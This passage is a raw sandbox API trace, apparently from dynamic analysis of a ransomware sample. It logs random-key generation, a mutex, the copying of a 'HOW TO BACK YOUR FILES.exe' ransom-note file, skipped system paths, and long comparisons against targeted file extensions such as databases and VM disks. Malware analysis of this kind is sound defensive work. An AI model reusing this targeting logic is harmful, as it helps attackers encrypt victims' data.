dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24290) returned 0x170000 [0115.105] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.105] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.105] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.106] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0115.107] CloseHandle (hObject=0x154) returned 1 [0115.107] CloseHandle (hObject=0x17c) returned 1 [0115.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.108] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0115.108] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0115.108] ReleaseMutex (hMutex=0xec) returned 1 [0115.108] CloseHandle (hObject=0xec) returned 1 [0115.109] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" [0115.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x522a38 | out: hHeap=0x4f0000) returned 1 [0115.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f538 | out: hHeap=0x4f0000) returned 1 [0115.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform") returned 79 [0115.109] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4320A2428686E82FDB3D59D27267281E") returned 0xec [0115.109] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0115.109] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" [0115.109] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0115.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\how to back your files.exe"), bFailIfExists=1) returned 0 [0115.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0115.110] GetLastError () returned 0x0 [0115.110] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0115.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0115.110] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0115.111] CloseHandle (hObject=0xf4) returned 1 [0115.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.111] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0115.111] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce0680c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0680c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0115.111] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0115.111] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0115.111] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0115.111] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xce0680c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0680c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.111] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0115.111] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0115.111] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0115.111] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0115.111] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0680c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce0680c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0115.111] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0115.111] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0115.111] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.111] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.111] lstrcmpiW (lpString1="OSPPC.DLL", lpString2=".") returned 1 [0115.111] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="..") returned 1 [0115.111] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="windows") returned -1 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="bootmgr") returned 1 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="temp") returned -1 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="pagefile.sys") returned -1 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="boot") returned 1 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="ids.txt") returned 1 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="ntuser.dat") returned 1 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="perflogs") returned -1 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2="MSBuild") returned 1 [0115.112] lstrlenW (lpString="OSPPC.DLL") returned 9 [0115.112] lstrcpyW (in: lpString1=0x241e8e8, lpString2="OSPPC.DLL" | out: lpString1="OSPPC.DLL") returned="OSPPC.DLL" [0115.112] lstrlenW (lpString="OSPPC.DLL") returned 9 [0115.112] lstrlenW (lpString="Athena865") returned 9 [0115.112] lstrlenW (lpString=".dll") returned 4 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2=".dll") returned 1 [0115.112] lstrlenW (lpString=".lnk") returned 4 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2=".lnk") returned 1 [0115.112] lstrlenW (lpString=".ini") returned 4 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2=".ini") returned 1 [0115.112] lstrlenW (lpString=".sys") returned 4 [0115.112] lstrcmpiW (lpString1="OSPPC.DLL", lpString2=".sys") returned 1 [0115.112] lstrlenW (lpString="OSPPC.DLL") returned 9 [0115.112] lstrlenW (lpString="bak") returned 3 [0115.112] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0115.112] lstrlenW (lpString="ba_") returned 3 [0115.112] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0115.112] lstrlenW (lpString="dbb") returned 3 [0115.112] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0115.112] lstrlenW (lpString="vmdk") returned 4 [0115.112] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0115.112] lstrlenW (lpString="rar") returned 3 [0115.113] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0115.113] lstrlenW (lpString="zip") returned 3 [0115.113] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0115.113] lstrlenW (lpString="tgz") returned 3 [0115.113] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0115.113] lstrlenW (lpString="vbox") returned 4 [0115.113] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0115.113] lstrlenW (lpString="vdi") returned 3 [0115.113] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0115.113] lstrlenW (lpString="vhd") returned 3 [0115.113] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0115.113] lstrlenW (lpString="vhdx") returned 4 [0115.113] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0115.113] lstrlenW (lpString="avhd") returned 4 [0115.113] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0115.113] lstrlenW (lpString="db") returned 2 [0115.113] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0115.113] lstrlenW (lpString="db2") returned 3 [0115.113] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0115.113] lstrlenW (lpString="db3") returned 3 [0115.113] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0115.113] lstrlenW (lpString="dbf") returned 3 [0115.113] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0115.113] lstrlenW (lpString="mdf") returned 3 [0115.113] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0115.113] lstrlenW (lpString="mdb") returned 3 [0115.113] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0115.113] lstrlenW (lpString="sql") returned 3 [0115.113] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0115.114] lstrlenW (lpString="sqlite") returned 6 [0115.114] lstrcmpiW (lpString1="PC.DLL", lpString2="sqlite") returned -1 [0115.114] lstrlenW (lpString="sqlite3") returned 7 [0115.114] lstrcmpiW (lpString1="PPC.DLL", lpString2="sqlite3") returned -1 [0115.114] lstrlenW (lpString="sqlitedb") returned 8 [0115.114] lstrcmpiW (lpString1="SPPC.DLL", lpString2="sqlitedb") returned -1 [0115.114] lstrlenW (lpString="xml") returned 3 [0115.114] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0115.114] lstrlenW (lpString="$er") returned 3 [0115.114] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0115.114] lstrlenW (lpString="4dd") returned 3 [0115.114] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0115.114] lstrlenW (lpString="4dl") returned 3 [0115.114] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0115.114] lstrlenW (lpString="^^^") returned 3 [0115.114] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0115.114] lstrlenW (lpString="abs") returned 3 [0115.114] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0115.114] lstrlenW (lpString="abx") returned 3 [0115.114] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0115.114] lstrlenW (lpString="accdb") returned 5 [0115.114] lstrcmpiW (lpString1="C.DLL", lpString2="accdb") returned 1 [0115.115] lstrlenW (lpString="accdc") returned 5 [0115.115] lstrcmpiW (lpString1="C.DLL", lpString2="accdc") returned 1 [0115.115] lstrlenW (lpString="accde") returned 5 [0115.115] lstrcmpiW (lpString1="C.DLL", lpString2="accde") returned 1 [0115.115] lstrlenW (lpString="accdr") returned 5 [0115.115] lstrcmpiW (lpString1="C.DLL", lpString2="accdr") returned 1 [0115.115] lstrlenW (lpString="accdt") returned 5 [0115.115] lstrcmpiW (lpString1="C.DLL", lpString2="accdt") returned 1 [0115.115] lstrlenW (lpString="accdw") returned 5 [0115.115] lstrcmpiW (lpString1="C.DLL", lpString2="accdw") returned 1 [0115.116] lstrlenW (lpString="accft") returned 5 [0115.116] lstrcmpiW (lpString1="C.DLL", lpString2="accft") returned 1 [0115.116] lstrlenW (lpString="adb") returned 3 [0115.116] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.116] lstrlenW (lpString="adb") returned 3 [0115.116] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.117] lstrlenW (lpString="ade") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0115.117] lstrlenW (lpString="adf") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0115.117] lstrlenW (lpString="adn") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0115.117] lstrlenW (lpString="adp") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0115.117] lstrlenW (lpString="alf") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0115.117] lstrlenW (lpString="ask") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0115.117] lstrlenW (lpString="btr") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0115.117] lstrlenW (lpString="cat") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0115.117] lstrlenW (lpString="cdb") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0115.117] lstrlenW (lpString="ckp") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0115.117] lstrlenW (lpString="cma") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0115.117] lstrlenW (lpString="cpd") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0115.117] lstrlenW (lpString="dacpac") returned 6 [0115.117] lstrcmpiW (lpString1="PC.DLL", lpString2="dacpac") returned 1 [0115.117] lstrlenW (lpString="dad") returned 3 [0115.117] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0115.118] lstrlenW (lpString="dadiagrams") returned 10 [0115.118] lstrlenW (lpString="daschema") returned 8 [0115.118] lstrcmpiW (lpString1="SPPC.DLL", lpString2="daschema") returned 1 [0115.118] lstrlenW (lpString="db-journal") returned 10 [0115.118] lstrlenW (lpString="db-shm") returned 6 [0115.118] lstrcmpiW (lpString1="PC.DLL", lpString2="db-shm") returned 1 [0115.118] lstrlenW (lpString="db-wal") returned 6 [0115.118] lstrcmpiW (lpString1="PC.DLL", lpString2="db-wal") returned 1 [0115.118] lstrlenW (lpString="dbc") returned 3 [0115.118] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0115.118] lstrlenW (lpString="dbs") returned 3 [0115.118] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0115.118] lstrlenW (lpString="dbt") returned 3 [0115.118] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0115.118] lstrlenW (lpString="dbv") returned 3 [0115.118] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0115.118] lstrlenW (lpString="dbx") returned 3 [0115.118] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0115.118] lstrlenW (lpString="dcb") returned 3 [0115.118] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0115.118] lstrlenW (lpString="dct") returned 3 [0115.118] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0115.118] lstrlenW (lpString="dcx") returned 3 [0115.118] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0115.118] lstrlenW (lpString="ddl") returned 3 [0115.118] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0115.118] lstrlenW (lpString="dlis") returned 4 [0115.118] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0115.119] lstrlenW (lpString="dp1") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0115.119] lstrlenW (lpString="dqy") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0115.119] lstrlenW (lpString="dsk") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0115.119] lstrlenW (lpString="dsn") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0115.119] lstrlenW (lpString="dtsx") returned 4 [0115.119] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0115.119] lstrlenW (lpString="dxl") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0115.119] lstrlenW (lpString="eco") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0115.119] lstrlenW (lpString="ecx") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0115.119] lstrlenW (lpString="edb") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0115.119] lstrlenW (lpString="epim") returned 4 [0115.119] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0115.119] lstrlenW (lpString="fcd") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0115.119] lstrlenW (lpString="fdb") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0115.119] lstrlenW (lpString="fic") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0115.119] lstrlenW (lpString="flexolibrary") returned 12 [0115.119] lstrlenW (lpString="fm5") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0115.119] lstrlenW (lpString="fmp") returned 3 [0115.119] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0115.120] lstrlenW (lpString="fmp12") returned 5 [0115.120] lstrcmpiW (lpString1="C.DLL", lpString2="fmp12") returned -1 [0115.120] lstrlenW (lpString="fmpsl") returned 5 [0115.120] lstrcmpiW (lpString1="C.DLL", lpString2="fmpsl") returned -1 [0115.120] lstrlenW (lpString="fol") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0115.120] lstrlenW (lpString="fp3") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0115.120] lstrlenW (lpString="fp4") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0115.120] lstrlenW (lpString="fp5") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0115.120] lstrlenW (lpString="fp7") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0115.120] lstrlenW (lpString="fpt") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0115.120] lstrlenW (lpString="frm") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0115.120] lstrlenW (lpString="gdb") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0115.120] lstrlenW (lpString="gdb") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0115.120] lstrlenW (lpString="grdb") returned 4 [0115.120] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0115.120] lstrlenW (lpString="gwi") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0115.120] lstrlenW (lpString="hdb") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0115.120] lstrlenW (lpString="his") returned 3 [0115.120] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0115.121] lstrlenW (lpString="ib") returned 2 [0115.121] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0115.121] lstrlenW (lpString="idb") returned 3 [0115.121] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0115.121] lstrlenW (lpString="ihx") returned 3 [0115.121] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0115.121] lstrlenW (lpString="itdb") returned 4 [0115.121] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0115.121] lstrlenW (lpString="itw") returned 3 [0115.121] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0115.121] lstrlenW (lpString="jet") returned 3 [0115.121] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0115.121] lstrlenW (lpString="jtx") returned 3 [0115.121] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0115.121] lstrlenW (lpString="kdb") returned 3 [0115.121] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0115.121] lstrlenW (lpString="kexi") returned 4 [0115.121] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0115.121] lstrlenW (lpString="kexic") returned 5 [0115.121] lstrcmpiW (lpString1="C.DLL", lpString2="kexic") returned -1 [0115.121] lstrlenW (lpString="kexis") returned 5 [0115.121] lstrcmpiW (lpString1="C.DLL", lpString2="kexis") returned -1 [0115.121] lstrlenW (lpString="lgc") returned 3 [0115.121] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0115.121] lstrlenW (lpString="lwx") returned 3 [0115.121] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0115.121] lstrlenW (lpString="maf") returned 3 [0115.121] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0115.121] lstrlenW (lpString="maq") returned 3 [0115.121] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0115.122] lstrlenW (lpString="mar") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0115.122] lstrlenW (lpString="marshal") returned 7 [0115.122] lstrcmpiW (lpString1="PPC.DLL", lpString2="marshal") returned 1 [0115.122] lstrlenW (lpString="mas") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0115.122] lstrlenW (lpString="mav") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0115.122] lstrlenW (lpString="maw") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0115.122] lstrlenW (lpString="mdbhtml") returned 7 [0115.122] lstrcmpiW (lpString1="PPC.DLL", lpString2="mdbhtml") returned 1 [0115.122] lstrlenW (lpString="mdn") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0115.122] lstrlenW (lpString="mdt") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0115.122] lstrlenW (lpString="mfd") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0115.122] lstrlenW (lpString="mpd") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0115.122] lstrlenW (lpString="mrg") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0115.122] lstrlenW (lpString="mud") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0115.122] lstrlenW (lpString="mwb") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0115.122] lstrlenW (lpString="myd") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0115.122] lstrlenW (lpString="ndf") returned 3 [0115.122] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0115.123] lstrlenW (lpString="nnt") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0115.123] lstrlenW (lpString="nrmlib") returned 6 [0115.123] lstrcmpiW (lpString1="PC.DLL", lpString2="nrmlib") returned 1 [0115.123] lstrlenW (lpString="ns2") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0115.123] lstrlenW (lpString="ns3") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0115.123] lstrlenW (lpString="ns4") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0115.123] lstrlenW (lpString="nsf") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0115.123] lstrlenW (lpString="nv") returned 2 [0115.123] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0115.123] lstrlenW (lpString="nv2") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0115.123] lstrlenW (lpString="nwdb") returned 4 [0115.123] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0115.123] lstrlenW (lpString="nyf") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0115.123] lstrlenW (lpString="odb") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0115.123] lstrlenW (lpString="odb") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0115.123] lstrlenW (lpString="oqy") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0115.123] lstrlenW (lpString="ora") returned 3 [0115.123] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 